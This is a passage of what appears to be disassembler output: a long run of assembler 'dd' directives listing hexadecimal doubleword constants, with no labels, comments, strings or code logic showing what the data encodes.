0DD53098h, 0E1A65150h, 34CFD200h, 655C1E67h, 0ADF9005Dh dd 107FE724h, 0CA09D341h, 0A25F4605h, 695CE932h, 9829B0ECh dd 0C63878BCh, 0BE06806Eh dd 0E6D3676Fh, 0B9600470h, 0C09B513Eh, 0E961FB65h, 0B3390960h dd 138AEA3h, 67F3B147h, 3371E497h, 301DA22Dh, 0F000854Dh dd 0B9C752BCh, 27F917FEh, 581DB60Fh, 0C841511h, 0DFCB8029h dd 0BA529106h, 0E24F42D7h, 32B3015h, 0D59D0909h, 3BFA4405h dd 1069C1B5h, 8E9DA60h, 0B1537C0h, 1333C0DDh, 84D40E99h dd 0FE88C0E7h, 0B9BD82Bh, 4C226978h, 587F7EE4h, 2112EB7Eh dd 31243210h, 0E4E89302h, 0B762007Dh, 4DB230CEh, 0D3F0A14Ah dd 0FAB37D1Ch, 0E4360980h, 0C15250F8h, 0F96AA54h, 0B00C9E31h dd 5F585A85h, 93F76580h, 550C64E9h, 0BEB9C183h, 0C2FDC824h dd 255FF238h, 51C83A6Bh, 181659B0h, 40072C60h, 1445095Fh dd 0BE03C44Eh, 31596F1h, 88B284B0h, 75301BF2h, 4E050002h dd 1DC679E7h, 45279589h, 0A572421h, 1A02604Bh, 50012BCDh dd 8721615Ah, 17881F4Eh, 4F25F9C0h, 0BA68B893h, 9D95A2A7h dd 801D116Dh, 71D07543h, 0EA320BBDh, 0A0803552h, 3CD11FBFh dd 830F6107h, 930A0255h, 71D4676h, 5DBF9B97h, 9C56ED30h dd 0E96A18C4h, 16AB250Bh, 0E10FEB1Fh, 5E8F881h, 4120263Ch dd 0E507FBE5h, 0F034A6B6h, 935E52Dh, 0AFE915F9h, 0A37DE000h dd 5324325Ch, 0D60EE951h, 5E5FA4F3h, 0C820EB8Dh, 0FCE48A17h dd 4C65E50Bh, 1CB6F89Ch, 0C79E29BCh, 378D18C0h, 84B64483h dd 0C007DBE5h, 0F59D6146h, 98FF92DBh, 4415E13Ch, 0C4BD23F8h dd 81BDF400h, 6F95C70Bh, 130ADE3Bh, 23D53A58h, 0D1EB0118h dd 699D3DBCh, 0A75D22BBh, 601744BCh, 26D3D977h, 0B6AF882h dd 0DB4C0251h, 0DC999Eh, 50A84574h, 0B8EA601Bh, 0FE03355Ah dd 84059531h, 0FDFCD313h, 0C0589E84h, 0BDA13F6Dh, 64A604E2h dd 0CCD5467Eh, 730F7DC6h, 247A9F9Dh, 0C3C224C1h, 0A006D8FBh dd 2DCC2B30h, 0CE11655Dh, 0C1D56296h, 1E6DB589h, 0DC9D5B02h dd 0C8801911h, 30FE6864h, 482B023Ch, 95BAC055h, 8FD57Dh dd 0A6D3BD58h, 987BA58Bh, 0D2A77005h, 9BA64C3Eh, 0F9994429h dd 6B51817h, 0E9822CD7h, 0F261940h, 0E844C78Fh, 1961E4h dd 1B037074h, 0C77FF495h, 0F141C1Eh, 9DCD9480h, 9BE665Fh dd 0C08BEC3Dh, 198EFBB7h, 0A3911633h, 1F800FE9h, 4C979402h dd 4A01C136h, 9D2B390Dh, 0D9F01C47h, 96857AC7h, 79DF023Eh dd 5F40721Bh, 378203A9h, 84728448h, 0E735C359h, 0D7A0E8B3h dd 19F69BB7h, 32795CB4h, 19F29523h, 0FA357D30h, 0F96D33A7h dd 20E2CE78h, 0F8D80D1h, 0CCC2338Ah, 0CDF2C5B4h, 5E968A0Bh dd 0C4131C6Eh, 0F216F90h, 0B2F57C71h, 2302AE12h, 0A29B5BDh dd 0DA1199Ch, 380BFD0Fh, 2CF80F9h, 5D9D893Ch, 6038AC19h dd 99852986h, 8D10E10Fh, 61011E7Dh, 82DA95B9h, 0C1BFFC07h dd 0F8085366h, 39EB044Ch, 0B6615EC4h, 2377E0E5h, 0BC6A68DCh dd 0F064BA9h, 18C4BDD1h, 560F2185h, 0D818ABDh, 20450871h dd 3C305E13h, 4A32F49h, 0A7160F0Ah, 0EEA2E8h, 0DAB6C610h dd 0F5AF94h, 0EC68F275h, 4D63CF57h, 9C0ED10Bh, 5F085DCh dd 0D7CE8C12h, 66C01A88h, 1C3F3E97h, 8220BF88h, 7490B434h dd 0D2E0534Dh, 26A750C4h, 2017B2F2h, 33600A67h, 87D9359Dh dd 80A46EBFh, 0EF816155h, 3B6300Bh, 257E824Dh, 10E90011h dd 5AE3FFF8h, 503DC045h, 5821B806h, 7D14B2F6h, 718FD81Dh dd 826024B0h, 0B9B127DEh, 852120Eh, 9850658h, 6CA035BDh dd 568D4E21h, 11E6F37h, 4CECCF9Ah, 8D4160F5h, 51022169h dd 0C0D59A85h, 615964ABh, 2BB56CC4h, 1588EB8Fh, 708739C3h dd 0E54886CAh, 65D0B0h, 8F1BBA66h, 9801E183h, 9E25706Bh dd 0F27FF48Eh, 73A98358h, 70693EA3h, 641247CEh, 1188601Bh dd 0BC053A68h, 4221412h, 1112ADCCh, 0A00A225Dh, 0A022D9CEh dd 6D8B70h, 0AFBB6061h, 0FC684299h, 0E95BF8A6h, 0A0824840h dd 0A99F3672h, 880F25C0h, 9AE0C018h, 30622887h, 5B2D914Ch dd 4FE7D091h, 2A7BC54Ch, 2543A6C7h, 6B301AE2h, 722704A7h dd 0C05E1D03h, 876FC2A3h, 2F48A4A6h, 8C1CFC01h, 0EE931D00h dd 0D87105C7h, 0BBE702AEh, 2ADBCD19h, 3D397B41h, 4E8C439Bh dd 95005E6Eh, 3EAE31BBh, 8D27ED70h, 9FD8443h, 880C0C9Ch dd 0CD209529h, 6A219003h, 2D0E8B4Dh, 220027B7h, 31D37626h dd 0A12991D6h, 181D7126h, 27A401DCh, 0C2318729h, 23ECD09Eh dd 0CD18513h, 87864025h, 0EECEAD0Ch, 0D3F61821h, 0C9944153h dd 2A580322h, 1686315Ah, 84FDBD2Bh, 0A578C466h, 7ED7060Ch dd 36D834B3h, 0A1BD1533h, 21C9CF2Dh, 1991371Fh, 0FAC78D80h dd 0A0FF985Fh, 449664A4h, 5A0C00DCh, 61E7C6F3h, 1D91E8ECh dd 0E0089307h, 276B1Eh, 0ADA1CFD0h, 73BF02DCh, 5B23AFE7h dd 9F2469A4h, 0CFFC80A0h, 940A73Eh, 0B4D8C74Bh, 870F5002h dd 0F949D7DAh, 58AD236h, 1C016C8h, 51B06D72h, 452BFEC8h dd 0D6FD8A3Bh, 0B4BA16B2h, 3DCFE875h, 0A09E023h, 9237ADh dd 9A689087h, 0FDBB3AFFh, 746B4905h, 29418B5Fh, 2EE5B501h dd 6416F95Dh, 0FB34822Ch, 0E6A707Bh, 65632702h, 543BAF3Ah dd 6A36223Fh, 0DE5A2F22h, 858B2108h, 0B3C4A08Dh, 437178CAh dd 0BB0415E2h, 85C79FB1h, 9B4A28B7h, 5D2E80DBh, 62B0FD34h dd 61CBFABDh, 14447D47h, 0C6872862h, 0F800D849h, 9D6107EBh dd 1C9F95E9h, 3801891h, 23DDD4E7h, 2940F296h, 3C4E04Ch dd 7C1BFC6Eh, 93B8B3C7h, 2EEBEE27h, 0C41C396Eh, 0A9104257h dd 5C015BBh, 0E41D59Dh, 60E9C1D8h, 66603175h, 0A84ED88Ch dd 8135FC08h, 0B5FF016Ah, 8DF750D5h, 6F3B5885h, 0D04C7C2Bh dd 53C86C87h, 0EFC10CFEh, 43C680Ch, 47B8206Eh, 0DA75702h dd 26F10104h, 72E91A02h, 0B3C65C18h, 6560054h, 0C530DF68h dd 14F67EA9h, 219D0A8Dh, 46AD170Eh, 7C6A50E0h, 6E560534h dd 0C3611201h, 0EBD4E0C1h, 1C8F004Fh, 8ABFA25h, 0DA1EC6A1h dd 0D487A4ACh, 0E4175CD2h, 3134CE00h, 0F1B75F5h, 0D129B327h dd 0C7DD5B20h, 177CE62Ah, 67F4DFFCh, 53A6DB38h, 0B487E001h dd 235207DDh, 89ED920h, 6058E989h, 4BBD292Ch, 837F0ECDh dd 482915C9h, 2367B861h, 3016F2E6h, 0FC06A891h, 161BD8Bh dd 28769056h, 0BC44B8CFh, 873DC62h, 35D94100h, 96E1CF45h dd 93290E7h, 9815F681h, 616140D8h, 4C2D608h, 0A572042Eh dd 0C0D31F25h, 8C02EF08h, 49FCD6B1h, 62750144h, 14C51209h dd 50137420h, 0B83CC253h, 8D0004D0h, 48A3329Dh, 0D30A1A2Ah dd 0C41C585Bh, 0C41A1011h, 8B60A27Fh, 0DB961995h, 0C0414D27h dd 461B3EDBh, 615BA805h, 20D2A698h, 62798A21h, 2C170105h dd 1BC828CEh, 7EB6C2C0h, 0FE5E01A0h, 0BD31D66Eh, 400A3841h dd 8A13D2BFh, 77B390DAh, 50D40C79h, 561111E9h, 0A4BE8D1Eh dd 49AAB841h, 0C06F8E70h, 0CCB1764Dh, 0E76F40D6h, 0A61C1900h dd 0E8B0024Eh, 0DE908D0Ah, 0BD088351h, 0A65A1833h, 0F65003DAh dd 1642BE87h, 9BAC8459h, 726FE304h, 0E7AC90DBh, 0D0D65587h dd 0B27C78ECh, 4E82105h, 6DCC5650h, 247A0313h, 83B8483Ah dd 0B4F4ACF0h, 22E8C528h, 5AA92100h, 4BC8BA6Eh, 4959394Fh dd 4925F31h, 856E3B24h, 7E155C00h, 0AA6A2385h, 1FE25D98h dd 3F4B896h, 0A2C70555h, 214E8B31h, 8D95FCD0h, 84689412h dd 22C16E9h, 0C1A01BDh, 0B79F0833h, 0B2880110h, 2BCB1AF5h dd 36BB9220h, 50A35C76h, 0B2B6CA1Dh, 6620FD7Ch, 909D3DBAh dd 91B290CEh, 4BEE9171h dd 0D8E04A20h, 383C2677h, 50061112h, 0E415D24h, 47242736h dd 1A46741Fh, 0ADA08300h, 0EBCBB5E5h, 0D39EF550h, 5B61B4CCh dd 2CF07368h, 60E4B2D5h, 0E7FB9CBBh, 0A30021B0h, 76C22E1h dd 0F8844ECh, 2434810Ah, 664FA142h, 18442467h, 86AA3F60h dd 8E7EE02Ch, 830F60C1h, 0E92F6122h, 3AFE59A0h, 2E024F8Ah dd 9589F2FDh, 612A48B5h, 0E7813E57h, 3075BD85h, 2DB0995Ah dd 5CFB83Fh, 0F7DAAB4Ah, 0D6A6C29Fh, 81C89B84h, 406A52Dh dd 0F309DDC9h, 0FB41CFF9h, 80C2C21h, 11809FB5h, 0AF6B811Ch dd 0A6C4C9A2h, 571124D1h, 0AF4D5A09h, 60825060h, 4A740BCBh dd 6464BB42h, 0FCEC5F00h, 0DC5D8691h, 1A4A009Ch, 4E3E442Ah dd 4526CC0Ah, 41108B0h, 0FB5E200h, 50D78B8Ah, 0D191FBE6h dd 0D0F9BD3Ch, 37998782h, 2F52500Eh, 6031435Ah, 8034AD61h dd 698D4DC0h, 9B28212h, 30AC55Eh, 0ED52EC94h, 99CC4159h dd 20E4FD71h, 1253AD21h, 0F9B509E5h, 12269221h, 0E0116DE3h dd 0E0C819B7h, 91E8A072h, 5175DA00h, 1E643CBFh, 155A482Fh dd 0C80E0110h, 1D7EB119h, 89003217h, 11629D56h, 9B5F801Dh dd 0FBBCE7h, 9D788C7h, 860F5022h, 0E58024A0h, 68596C00h dd 0C8F76623h, 9FF9881h, 0B280716h, 7780A237h, 0CB0834C2h dd 9180055Ch, 0AC8F0F42h, 90BA8245h, 0D3F5B2F8h, 3C4A70BDh dd 2B111D12h, 81141556h, 9B8BA415h, 5AC11D88h, 8AFC2F94h dd 37440469h, 0C8E8D2A3h, 2202AB47h, 0E40FC85Eh, 9B6603h dd 1B086468h, 57171CB8h, 52E3D000h, 4B18DED4h, 9535905Ah dd 6F5BC90h, 0CDA2CB00h, 9A6D4E6Bh, 0B948C2h, 0E82C0D52h dd 3BA94016h, 2D086FE4h, 9602840Fh, 13D61550h, 0BD296C83h dd 682CA095h, 907CBB09h, 8BAC85BFh, 0A4B8BF30h, 15BBE8D7h dd 0F961DFCBh, 74F3C805h, 239A3A1Bh, 98590516h, 2DCB81EEh dd 36D40410h, 890DBDA3h, 92DF799Dh, 7CD1292Bh, 0BDF23BBBh dd 48B80BD9h, 502F2003h, 24D3FBB0h, 6357BA04h, 3E870EC4h dd 24B1A0F8h, 49FE1855h, 2C15EB03h, 0ED5DA17Eh, 9B5BD7h dd 6BF2C80h, 89FBAA46h, 682165EEh, 4217097Ah, 1417B2Ch dd 4E4082D9h, 152EC181h, 0EC32E616h, 0C3374989h, 308A1580h dd 1319D1BEh, 30FCFA12h, 1529E9DFh, 63C48C4Eh, 10CAE082h dd 0F81F02BAh, 0DDA60BB7h, 0DD90E5A0h, 410EE830h, 858E5Ah dd 84E302B3h, 796D2728h, 5D56EC06h, 0E0278D0Fh, 2FF59B59h dd 0BFD81F1Bh, 1224E67Ch, 13AA7C09h, 7B9319ACh, 0C5D078h dd 647F5B2Eh, 0E3A4E8C1h, 73493291h, 3EC8504Ch, 2F76EA07h dd 5B50D596h, 90CE8B3Bh, 0A837B723h, 5C8E1300h, 8763CB5h dd 11718D23h, 17A48720h, 0BD80D099h, 7148B9D9h, 0EEFB0005h dd 878BF83Fh, 0CE0204B3h, 0B86EC867h, 0CCE0806Ah, 0A63ED1C2h dd 2FE1F8h, 466ABF03h, 0B0C869E7h, 0AB94850Bh, 7804803Ch dd 8F149DA3h, 24FB2090h, 444B0B5Fh, 260B0018h, 53800E8Dh dd 8F04F74Ah, 4F56DE6Ah, 0D08056F8h, 62B7D6D9h, 4BBF9900h dd 0A5CF524h, 9B470022h, 0B185110Fh, 21E359E2h, 3A42333h dd 0D371CE26h, 73590FAh, 21D39DFh, 5DB72E75h, 19B7691Ah dd 4088DF8Eh, 8D2B9294h, 23D69C6Dh, 0F1012794h, 730D800Fh dd 0D08B105Eh, 0C129BF02h, 6C432874h, 248F26EDh, 0EC366C98h dd 0D81E287Eh, 59B514D8h, 0B8AF4BA2h, 0E0CDE6D2h, 17BF1DEAh dd 94BD23AFh, 5020A3F4h, 0BCB6691Dh, 0ADC15745h, 5902293Dh dd 0F6425D0h, 0CB378E39h, 0B93B81DAh, 22E819F2h, 8835F94Eh dd 9082E91h, 0E88D0956h, 2805A74h, 85C7F9E6h, 5D616F1h dd 4EC9FE6Ch, 8F4C2015h, 6200828Ah, 0D3353776h, 1AE589FEh dd 0C16A5AE9h, 0CA096066h, 6342945Dh, 950E3B39h, 17A2FCD3h dd 13ABE030h, 1090E7F8h, 602C514Fh, 4FB105A3h, 0FAE60061h dd 0E1853190h, 0B07A4BDh, 3B8EEA9h, 0BF3A5128h, 580DE120h dd 0D88016E9h, 9FE06D2Ch, 58E472Ch, 67B21201h, 0A6F042FCh dd 0C5BA01FDh, 0A98D8980h, 2A926217h, 976AFC6h, 1E34954h dd 680D952Ch, 0B9665081h, 0E139D5A8h, 0EE0192ECh, 0B07BBD70h dd 1A21F50Bh, 81007429h, 24CE33E2h, 0B5348D14h, 0CCC93D0h dd 57681FC3h, 0C700395Bh, 98977028h, 0C6483E0Ch, 0CF8B0291h dd 0A050595Ah, 9BD9EF1Ah, 790C00A9h, 0D4D6A4ADh, 2113C272h dd 0D315718h, 68F8105Eh, 0F5A30390h, 0DBEA5501h, 26B54819h dd 15218956h, 1BBCF83Ch, 0E89A008Ch, 0D95B4097h, 0BF0023FFh dd 1429E654h, 5CD68B90h, 922A350h, 30A381ECh, 0B5D6D62Eh dd 0F0A87802h, 219A8212h, 0F40E5C2Ch, 30BB0E05h, 17C3C00Bh dd 21D585Ch, 6F1D8878h, 3C70C00h, 5094D5E0h, 0FC6102D7h dd 0E87F2DB4h, 6F001CC4h, 4E084197h, 30F36Ch, 36656761h dd 0DD99F068h, 91D3D60Ch, 12B50259h, 527BE970h, 8031DB90h dd 971527E0h, 563805E7h, 8022B631h, 95096092h, 0C788F94Eh dd 6111407Dh, 35B58B26h, 70A4FB49h, 3B00F345h, 15FA05B6h dd 133CA06Ch, 9B20468Dh, 0D18E8017h, 940E1EC9h, 845F40DAh dd 0F00CCF4h, 18A160B8h, 3A0119B4h, 31416DBDh, 0F02F66BFh dd 37C01EAh, 29D36EE5h, 0C1C4A1DBh, 223AD00h, 9547C4E9h dd 454C5530h, 55A33009h, 806E8204h, 0CA8A2102h, 97E8CD50h dd 0E109B718h, 0D75A318Eh, 35655421h, 9DBC772Dh, 2D738D0Eh dd 63A5C7D4h, 5B930114h, 8B41DC84h, 4C223D95h, 0C6000B64h dd 0BDF6AA4Fh, 0ECEEEC51h, 7B2B09AFh, 7E623AE9h, 6E8DBE18h dd 5387EB00h, 0E418F163h, 80450E6Ah, 6E1B207Eh, 9B8135A6h dd 25307CA5h, 91289760h, 3F508914h, 1B8F0F1Eh, 82174DA5h dd 6C4BF568h, 140CEA6h, 40CB058Bh, 0E905953h, 5BDECD2h dd 0CD10830Fh, 14353E3Ah, 0B908E6ACh, 901205EEh, 4043616h dd 0F3102001h, 0EF08C2Bh, 539350FAh, 0E0FBF64Eh, 14F1179h dd 0EC144BCFh, 62E99863h, 8C3B019Eh, 1A27FFBDh, 9A962422h dd 0A9858055h, 28964DC6h, 4E9C7E1Bh, 0D828928Dh, 95E1A26Dh dd 0E1F8D325h, 9631170Eh, 8682C527h, 2BD5A32h, 294084EFh dd 0ED123598h, 72E52EC0h, 84A849h, 0CC4470DFh, 0EAE97CFFh dd 71DE035Ah, 4D051B80h, 0D00B6D3h, 466F976Dh, 5E80CB8Ah dd 0A1185738h, 0C0301A6Dh, 744A3E28h, 605C01ABh, 0E91CF025h dd 7B6E35h, 0DDFEBF00h, 6A1C695h, 0B202DEEEh, 97D18003h dd 58DC148h, 0CA816610h, 3BEB2512h, 820F7F30h, 9E23DD48h dd 70066889h, 80068A84h, 334E125Ch, 8BC01E9Eh, 0BC39A48Eh dd 2F544565h, 0FFA9AA04h, 888D961Dh, 7F25F67Fh, 0C00A1A40h dd 9C1109DAh, 16FD88DCh, 2C2E8442h, 0A24C1E6h, 6120BB1Ch dd 1C71904Bh, 0BA006160h, 421ECC6h, 5FB1702h, 0F203CB2Ch dd 10205E21h, 16ED2BA9h, 0B290C4E6h, 0AC5513E1h, 1D8F1D00h dd 3C9172h, 2623E1B2h, 60508015h, 615E510Eh, 79BAC75Fh dd 9090D817h, 1338EF81h, 177D2F1Dh, 0A21Ch, 0D9D8D231h dd 46322CEh, 0B8924E36h, 1494F00Dh, 66524082h, 53F931BAh dd 28BD95B4h, 4EFF3B6Ah, 0E315528h, 9C8FD90Bh, 0DC53940h dd 8BF09E7Ah, 0A54C3C00h, 901A456h, 123D24BDh, 852940F2h dd 0A29D2C1Dh, 50EB157h, 0D574058h, 0A1ABC724h, 15EEF101h dd 36FF46B8h, 887FE522h, 0E92C5952h, 6DAF8617h, 2382C13Ah dd 100C34C6h, 93E588h, 7F422676h, 0CDC5F905h, 0EB4B4401h dd 582ED4E2h, 14BC3E28h dd 29F50A8Ch, 8087D9BDh, 50D08A90h, 40EDBEB2h, 0F83E68BDh dd 3D1E6A3Fh, 85AE8760h, 0C696572h, 6500230h, 0A3ED0BBFh dd 0CC56400Dh, 89C34ACEh, 0FEF7E260h, 0B5896077h, 0C1822F01h dd 26BD8C3h, 58AC27E5h, 6A29AB91h, 0D9001D7Bh, 0BF09EA93h dd 34098B2Dh, 294AE90Ah, 0F950A4A3h, 0BDCC58B1h, 57105AD1h dd 0A6EAD603h, 19CBD57Bh, 0D3D24295h, 3DD57816h, 28017C7Eh dd 9E7D143Ah, 629001A8h, 22BA5D16h, 54314880h, 615C1E20h dd 8C1BE809h, 9FBF4D03h, 982A726Ch, 55B5094Fh, 0DE9FBC8Dh dd 109520F9h, 0A836F1h, 2B1B69EBh, 0BCFF0CE7h, 164B19Ch dd 1CF8DFE8h, 0DF9A008Ch, 610CB1B6h, 0B250652Bh, 0E64C1BEh dd 0B5F7A87h, 0B3FB610Dh, 9A01470h, 0CDB52950h, 0B95F1FC0h dd 43369514h, 1CC61AC0h, 0E019CDC7h, 63D26A1Bh, 5C9BA601h dd 1D719D89h, 33515602h, 9187C900h, 0EAFC9A7Fh, 2FE00AAh dd 5AF7C780h, 0F958EBE9h, 0EA81000Ah, 48A25D69h, 0C3BE1C68h dd 0C860123Ch, 0F1004BB7h, 0AADC6310h, 0FDDB65h, 9B1B399Dh dd 5E5758B3h, 0BF665A02h, 78616FD5h, 43BE1359h, 0A240A33Ch dd 127D3016h, 0D888D64Bh, 0F70603A9h, 1D90C27Bh, 80F54888h dd 5ACBE10Ah, 1F4A36Ah, 9560EC43h, 2A75B66Bh, 122F7F08h dd 8BCAC8FFh, 871DBD27h, 4C6E0133h, 0BE952519h, 0D6808258h dd 52468B21h, 50EAB102h, 5EEF8A57h, 10E6A52Bh, 6CE9DDE9h dd 0B5500DF5h, 51632513h, 8F3114A2h, 1168C2Bh, 273D9510h dd 0D586204Bh, 4700B232h, 93CCB86Bh, 8FF90Fh, 980DC3BCh dd 0AD49F142h, 5B408CB6h, 12651B7h, 0C98D437Bh, 2A2146C2h dd 2E73360Fh, 0F2F3325Ah, 20E8B33h, 0ECCFD369h, 39BD29B4h dd 0F1D9929Eh, 456E7F8Eh, 0C5363801h, 7EC08B34h, 0FD01626Eh dd 0AB40C783h, 4E7A3B18h, 98599923h, 659BF91Ch, 3B84F78h dd 983E8620h, 0A0DE5FDDh, 0E92C9E94h, 425BD61h, 0B1BF8005h dd 869C244h, 0E4928B1Ah, 27392F4Fh, 9F9E38C6h, 2B2201D4h dd 0B8FF28ECh, 8B888870h, 2244A50Dh, 478CA500h, 2FAE5055h dd 1D5A485Fh, 49035A78h, 920918F6h, 84789B7Bh, 0D8561301h dd 7A4A049Dh, 0C408AB1Ch, 8070290Fh, 301A782Ah, 0AD04982Eh dd 0DAD7838Dh, 0AD19C7EBh, 3DA4612Ch, 0C7B500D4h, 0C3B13792h dd 29381D70h, 0B9208002h, 8C181F1h, 0BF236641h, 2AB0F400h dd 34C72722h, 49077F00h, 0BA426A6Bh, 0C32C0145h, 16F28147h dd 0FC0C8735h, 0D89031FFh, 24915684h, 7B75F1Eh, 0C72462E8h dd 0F5E181F7h, 7ECBE849h, 7C769E38h, 0BBFC73Dh, 0C8E8733Bh dd 22EF753h, 0DA3AAEF5h, 818216C0h, 5E0034B1h, 0FF1EF81h dd 0B291FE7h, 2F7871ABh, 0DAB45702h, 0D2E8018Fh, 1FBA7CF6h dd 80899F42h, 8BE15118h, 83125BC1h, 67CC04E9h, 929A9833h dd 992A9894h, 124D24D3h, 8840C68Fh, 1D6120h, 3A87C8CDh dd 91F276Dh, 57C6AD06h, 100E1Ah, 1006B071h, 0AC7F6794h dd 0BAEAF600h, 4505835Fh, 14601211h, 0AD65000Fh, 6DF3E8B7h dd 72987F00h, 0F5F9419Ch, 0B6DA00E0h, 16450312h, 1706D2C0h dd 53A83A92h, 0F36D0520h, 3CDA4C09h, 1146C720h, 0D6FFBB01h dd 80FC1D67h, 0AA5CF130h, 0C7B981Ch, 0B3904309h, 21C00C08h dd 86AA44DEh, 61D73C6Eh, 2601113Eh, 0A2140F15h, 91EBE0BBh dd 0EDA9F903h, 1808C01Eh, 8813939h, 43009A11h, 8AF12214h dd 503D6Ch, 0E51F82ECh, 465634BDh, 5E1CD42Fh, 0A284001Fh dd 14BFE278h, 4760D718h, 0C34A4570h, 0B6806D08h, 6D84FC3h dd 8600C065h, 0E5F07932h, 50829A51h, 40FC8016h, 0CA301E20h dd 0D069104h, 0E4C1C167h, 40F32BD2h, 66D939C4h, 0E87718C2h dd 0C6D8A3DAh, 803FDA9Fh, 146D56E4h, 0D1F06039h, 0B180CE9Ch dd 23F1760Fh, 8294C1Dh, 0B521C082h, 0AD5F80D6h, 6E4CD201h dd 19A645E6h, 10E98887h, 0D1588E43h, 3000B45Fh, 93A4C6D0h dd 0CCDCFE69h, 2215A08h, 6C30CC00h, 8FACC69Ah, 49711F29h dd 729B4307h, 0E81C500Ch, 0D78C7FC3h, 0DE16Ah, 0E4595219h dd 0ECF3FD13h, 10080366h, 2B7321h, 3D198A52h, 4D15A877h dd 17D4BC01h, 39825448h, 0B08AF8BEh, 388806B6h, 0E0F4D998h dd 6030229Ah, 0C2E47859h, 0A49651CFh, 30DA2C42h, 1811AA58h dd 0F5845B98h, 40D200FFh, 7E37EEAAh, 0F73B017Dh, 0C33DC188h dd 5052C544h, 1A648480h, 0D05DDB00h, 0E2DEB3CEh, 7BA70E95h dd 9C2082EDh, 19701483h, 78D7C808h, 0B41E0044h, 0BAE8762Dh dd 0BCC01368h, 5A605DEh, 0C0D40375h, 4B4CF64Fh, 6B250626h dd 0C8F5510Dh, 80DDF891h, 9817AA47h, 8CA48CB3h, 0AA4FD100h dd 0AECE2521h, 3C0F4870h, 12095610h, 3421844Ch, 38F9E252h dd 1811E6F7h, 0D9A892AFh, 418997FEh, 3008CA18h, 73B4C6D2h dd 0F830C281h, 0E50097FBh, 81DEB2BFh, 6138643Ch, 0AE8D6945h dd 0A4302079h, 0CC232D42h, 5A521A01h, 1BDEEBE4h, 122840F4h dd 7783DF52h, 0EB34003Eh, 4560167Ah, 88D01F22h, 8C55B85Ch dd 63652D14h, 4862280h, 74D715C8h, 0C0A81945h, 52041618h dd 0FD0BE446h, 2C80B837h, 6FA4520Eh, 8A30445h, 0C812C6B0h dd 1C408200h, 0C686FEF8h, 8065B2B9h, 0C0F40229h, 311856F1h dd 6EC9CD1Fh, 19393D43h, 9907668h, 69AE4A6Fh, 0F233AC02h dd 488A3902h, 7DA1C008h, 0ADB7026Ch, 468CD3B3h, 0C775B1C0h dd 3FDBBD00h, 0D493E5CEh, 38601883h, 0E48D596Dh, 0B10E50A0h dd 0E0D45E31h, 77000F72h, 0E16EF6B8h, 200D29D0h, 0D3D13854h dd 0A5E0066h, 0AEF6C1BFh, 16011AB2h, 4C9AB674h, 39DC15E0h dd 5669CDB9h, 2942660h, 76CB80D4h, 11853121h, 0A430DCBFh dd 0D1F01A0h, 0BAE2F99Ah, 20906583h, 434834E4h, 8C16F840h dd 71434801h, 4244D7B3h, 24E2189Eh, 2184086Ch, 1760C144h dd 0E4104752h, 19C8FD03h, 520F2D80h, 1BCB4A9h, 0C83FA5DEh dd 40648A57h, 43B8D4A4h, 3B0A30B1h, 0A13E649Eh, 80CE1128h dd 0E45C521Ch, 10448CFBh, 52140526h, 0C0838661h, 0ECF44C2Fh dd 0AFA8DB02h, 49E98D10h, 86F56D7Ch, 0F800AC35h, 55697B7h dd 0EA138A9h, 0E27C8826h, 0A9B7806h, 0F0902AC0h, 0FFBA1380h dd 596060DBh, 982319AAh, 0E1143h, 0A4AA41D3h, 0A9D65BFh dd 7766FC6h, 453F0780h, 4BE4C042h, 26ED10E8h, 30B70B8Ch dd 0F0630ACFh, 40FA0571h, 3941E49Ch, 19E3E68Ch, 2B926AEh dd 0D8A89197h, 1AAA5A80h, 448C6B98h, 4201DC0Bh, 615A35AAh dd 0CAE81B2Eh, 0F3B214E2h, 8201CCFEh, 0C10E5F08h, 0B187F055h dd 0A2A463E1h, 4993012h, 0DB171B02h, 0E89C2FF6h, 3E3D2464h dd 0F030D56Eh, 7B08BF70h, 64BB1B29h, 2A180D59h, 0A402843Ch dd 0CF44244Dh, 5D521D60h, 0C8F3E426h, 152770h, 0C4DFD252h dd 45E1AD34h, 1ED7550Eh, 60695AC1h, 885F94ECh, 0AA40ABD2h dd 8C995398h, 233016A2h, 6080A65h, 60E8E08Dh, 1A98769Ch dd 438FA4Ch, 0DDF3D2C6h, 208648C2h, 878CE25Ah, 7EC40212h dd 0C009C7Bh, 0AD496461h, 0A12E4698h, 84093ACDh, 77D840E2h dd 46E09813h, 30CB024Eh, 31CCC6D3h, 0C3011057h, 0D6850030h dd 0C8F137BFh, 98B93E6Fh, 0F0432B0Ah, 4680DC11h, 4B9816AAh dd 0D0C0A891h, 1FDAA4Eh, 0C8D3A7E5h, 3E7E87h, 595E980Bh dd 0A85234F7h, 15305AF2h, 777A030Fh, 58047452h, 3A85DEB0h dd 0F4A846FAh, 99BB59h, 56180B79h, 78B60801h, 0C798D9A0h dd 161A54D8h, 81D01E4h dd 0D0C01204h, 4676B780h, 8422C1h, 6880D8B3h, 522EB75Ch dd 0DA980A0Bh, 6FC4210Ch, 77033F56h, 960EFEE1h, 383A0A19h dd 0D5008423h, 63B04142h, 52E81296h, 0CE4434F8h, 0C0148834h dd 2214E38h, 0CADFF807h, 69193E8Fh, 0D218101Ch, 76B58008h dd 4083C4D1h, 8980DAB1h, 21C0908Ch, 780D9F87h, 5836A0C9h dd 66E0F0F3h, 0BE241CE8h, 5008ACEEh, 0C002828h, 295C0A98h dd 0BC15C710h, 42E4E03Dh, 3085E260h, 8831B265h, 531868F2h dd 10E2E063h, 9A0430h, 9DB2A527h, 57421E05h, 8358694Ch dd 0C939C18Ch, 0C8A48040h, 0A4674ACh, 710E8E38h, 0EC03B05h dd 3D061FE2h, 753CA348h, 0A65F1440h, 20F4688h, 76C880D5h dd 0BC001C29h, 3FE880DDh, 9BF0DA9h, 39B5A67Eh, 0E71E7001h dd 0E84C2C97h, 0AC008C58h, 6175869Ah, 96A0C0Bh, 96E7C2E4h dd 60CCD8B3h, 23585218h, 13111BE4h, 52102A0Fh, 0FB5F81C0h dd 390C8CA1h, 0A069B198h, 0C9048C4Ch, 0DCC6D530h, 3F0590CEh dd 80E130C1h, 0E4524311h, 75D06B02h, 5BFF6069h, 6AB0D398h dd 1000CF4Ch, 26AC7E99h, 0C2FEAD1Eh, 6EB68DA0h, 9EED10E0h dd 0AC0D758h, 84615395h, 46747024h, 0D51B1D0Ch, 58A07C8Dh dd 0E39EBC4Eh, 59A5D000h, 4E240216h, 0AF984420h, 695204A8h dd 3881B09Bh, 0C4FBC4C1h, 56625072h, 206BCA59h, 0C8C7329Bh dd 0AD082D16h, 5323703Ah, 8866680Ah, 7BB77D40h, 89B3049Dh dd 0C3AEF9B8h, 37A89A12h, 3BE014BFh, 0B1029B14h, 2B6E00BCh dd 